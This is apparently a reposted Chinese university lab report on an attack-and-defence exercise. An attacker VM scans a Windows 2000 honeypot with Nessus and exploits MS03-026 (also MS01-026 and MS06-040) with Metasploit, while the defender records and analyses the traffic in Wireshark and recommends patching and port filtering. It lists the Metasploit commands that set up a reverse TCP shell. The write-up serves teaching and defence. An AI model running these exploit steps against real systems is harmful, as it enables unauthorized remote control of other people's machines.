Windows攻防对抗实践(MS01-026)

转自:http://netsec.ccert.edu.cn/cnsc/2011/06/19/windows%E6%94%BB%E9%98%B2%E5%AF%B9%E6%8A%97%E5%AE%9E%E8%B7%B5/

在本次攻防实践中,攻击方使用Nessus扫描软件发现到目标主机的特定网络服务漏洞,并使用Metasploit软件发起攻击;防御方架设蜜罐, 并使用WireShark软件捕获并分析针对蜜罐主机的扫描和攻击流量。以下给出攻防实践报告,分实验环境、扫描过程、攻击过程、漏洞修复与攻击防范四个 部分分别介绍。

 

实验环境

         在本次攻防实践中,攻击方和防御方各使用一台宿主机。攻击方使用宿主机中的一台VMware虚拟机向防御方宿主机中的一台VMware虚拟机发起探测和攻击。

本次攻防实践基于真实网络环境,网络拓扑如下图所示,攻击方宿主机位于紫荆公寓,IP地址为59.66.207.31。其中的VMware虚拟机使 用课程FTP上提供的WinXP Attacker镜像,并使用桥接方式与宿主机连接,其IP地址为59.66.207.91。防御方位于FIT大楼,IP地址为 166.111.132.216。其中的VMware虚拟机使用课程FTP上提供的Win2KS Metasploitable镜像,并使用桥接方式与宿主机连接,其IP地址为166.111.132.232。

 

图1 实验环境拓扑

WinXP Attacker使用Nessum软件扫描Win2KS Metasploitable,在获得漏洞后,在Metasploit攻击框架中寻找到相应漏洞的攻击模块发动攻击。防御方在宿主机上安装有 WireShark软件,由于所有去往Win2KS Metasploitable的流量都经过防御方宿主机的物理网卡,所以可以使用宿主机上的WireShark软件监听到去往Win2KS Metasploitable的流量。可以认为Win2KS Metasploitable是防御方设置的蜜罐,而防御方本身使用WireShark作为一个简单的蜜罐网关,一旦WinXP Attacker对Win2KS Metasploitable进行扫描或攻击,防御方宿主机就能够捕获攻击流量并进行分析。

扫描过程

攻击方使用WinXP Attacker中的Nessus扫描软件对防御方网段进行扫描,并发现了蜜罐主机的存在。Nessus软件除了扫描对端主机开放的端口和服务外,还可以选择大量的插件,来实现对操作系统或软件所提供的网络服务中漏洞的扫描。

攻击方首先使用默认的配置对蜜罐进行扫描,并获得了扫描结果报告。图2显示的是扫描结果的概要,我们可以看出整个扫描时间持续了大约3分钟,被扫描 主机开放了69各端口,并存在大量的不安全因素。Nessus将其按危险程度分为High、Medium和Low三类,可以发现该蜜罐主机有30个极其危 险的安全漏洞存在。另外还能获得被扫描主机的操作系统、域名、本地账户口令相关的一些信息。

 

图2 默认配置的扫描结果

 分类为High的漏洞大部分都有MS安全漏洞编号,包 括:MS01-026,MS01-044,MS02-045,MS03-026,MS03-039,MS03-043,MS04-007,MS04-011,MS04-012,MS04-022,MS04-035,MS04-036,MS05-027,MS05-039,MS05-043,MS05-047,MS05-051,MS06-018,MS06-035,MS06-040,MS07-065,MS08-065,MS09-001,MS09-039,MS10-025。

详细的扫描报告见附件:nessus_scan_report.htm

 为了简化实验过程,本次攻防实践中只针对windows所提供的网络服务中的一个漏洞MS03-026进行。如图3所示,这是微软2003年公布 的一个漏洞,可以利用远程过程调用(Remote Procedure Call,RPC)的接口(具体位于RemoteActivation()函数)进行缓冲区溢出攻击。

 

图3 扫描结果中显示的MS03-026漏洞

 我们在Nessus软件中配置插件,使其只针对特定的漏洞进行扫描。如图4所示,我们在Nessus插件列表中找到windows: Microsoft Bulletins,即微软公布的漏洞列表。进入该列表中我们就能够选定MS03-026。

 

图4 针对MS03-026漏洞的扫描软件配置

之后攻击方对蜜罐主机发起扫描,在扫描结果中显示蜜罐主机存在MS03-026漏洞,如图5所示。

图5 Nessus扫描结果中显示的MS03-026漏洞

 在这次扫描过程中,防御方宿主机开启了WireShark,并记录下了扫描的过程。该过程分为两个部分,分别是端口扫描,和针对MS03-026 漏洞的扫描。在端口扫描部分,WireShark显示出大量从59.66.207.91(即WinXP Attacker)发往166.111.132.232即(Win2KS Metasploitable)各个端口的[SYN]报文,同时能够发现Win2KS Metasploitable的回应[SYN, ACK]或[RST, ACK]报文。

详细的端口扫描过程见附件1。

在MS03-026漏洞扫描部分,WinXP Attacker向Win2KS Metasploitable的135、139和445等端口发送了大量request文。

详细的MS03-026漏洞扫描过程见附件2。

攻击过程

攻击方使用WinXP Attacker中的Metasploit软件发起攻击。Metasploit的配置过程如图6所示,首先选择针对MS03-026的漏洞攻击模块,该模 块属于针对RPC的攻击,使用命令exploit/windows/dcerpc/ms03_26_dcom;接下来选择PAYLOAD,使用命令set PAYLOAD  generic/shell_reverse_tcp;再分别设置本地主机和远程主机,使用命令set LHOST 59.66.207.91和set RHOST 166.111.132.232。最后使用命令exploit发起攻击并获得了远程主机,即Win2KS Metasploitable的控制权。

 

图6 Metasploit配置过程

在这次攻击过程中,防御方宿主机仍然开启WireShark,并记录下了攻击的过程。WireShark显示攻击来自59.66.207.91(即 WinXP Attacker),目标为166.111.132.232即(Win2KS Metasploitable),而整个攻击过程双方来回的报文只有20个,我们在此详细分析一下这个过程。

l  前5个数据包:WinXP Attacker使用7937端口向Win2KS Metasploitable的135端口发起TCP连接和bind请求;

l  第6-8个数据包:应该就是WinXP Attacker使用已经建立的连接向Win2KS Metasploitable发送shellcode,通过后者的漏洞造成缓冲区溢出,在其4444端口上绑定了一个shell;

l  第9-12个数据包:Win2KS Metasploitable使用4444端口向WinXP Attacker的1049端口发起反向TCP连接;

l  第13-16个数据包:双方拆除了基于135端口建立的TCP连接;

l  第17-20个数据包:Win2KS Metasploitable向WinXP Attacker发送[PSH ACK]数据包,在本地执行cmd.exe并通过之前的连接回传,此时攻击者已能任意访问远程资源。

详细的MS03-26漏洞攻击过程见附件3。

整个扫描与攻击过程的演示见附件:MS03-26.exe

另外我们还针对Win2KS Metasploitable的其他几个漏洞发起了攻击,成功的包括MS01-026和MS06-040,分别使用exploit/windows /iis/ms01-026和exploit/windows/smb/ms06-040攻击模块。以下是Metasploit控制台攻击过程截图:

 

 

图7 针对MS01-026和MS06-040的攻击

漏洞修复与攻击防范

一旦了解了攻击者所利用的漏洞,首先应寻找修复的方法。微软提供了安全漏洞公告与补丁下载的网站http://www.microsoft.com/technet/security/current.aspx。下图是微软对本次实验利用的MS03-026漏洞的描述。

图8 微软发布的MS03-26漏洞公告及补丁下载页面

对于防御Windows网络服务远程渗透攻击的方法,首要的是尽快为操作系统与软件更新安全补丁,同时可以利用漏洞扫描软件来发现漏洞的存在并及时 修补。另外,攻击者会利用一些开放的端口实施漏洞扫描(如扫描MS03-026漏洞时访问的135,139和445等端口),因此开启防火墙禁止相关端口 的访问也将是防御远程攻击的有效方式。

注:附录见附件word文档

你可能感兴趣的:(漏洞,攻防对抗,MS03-26)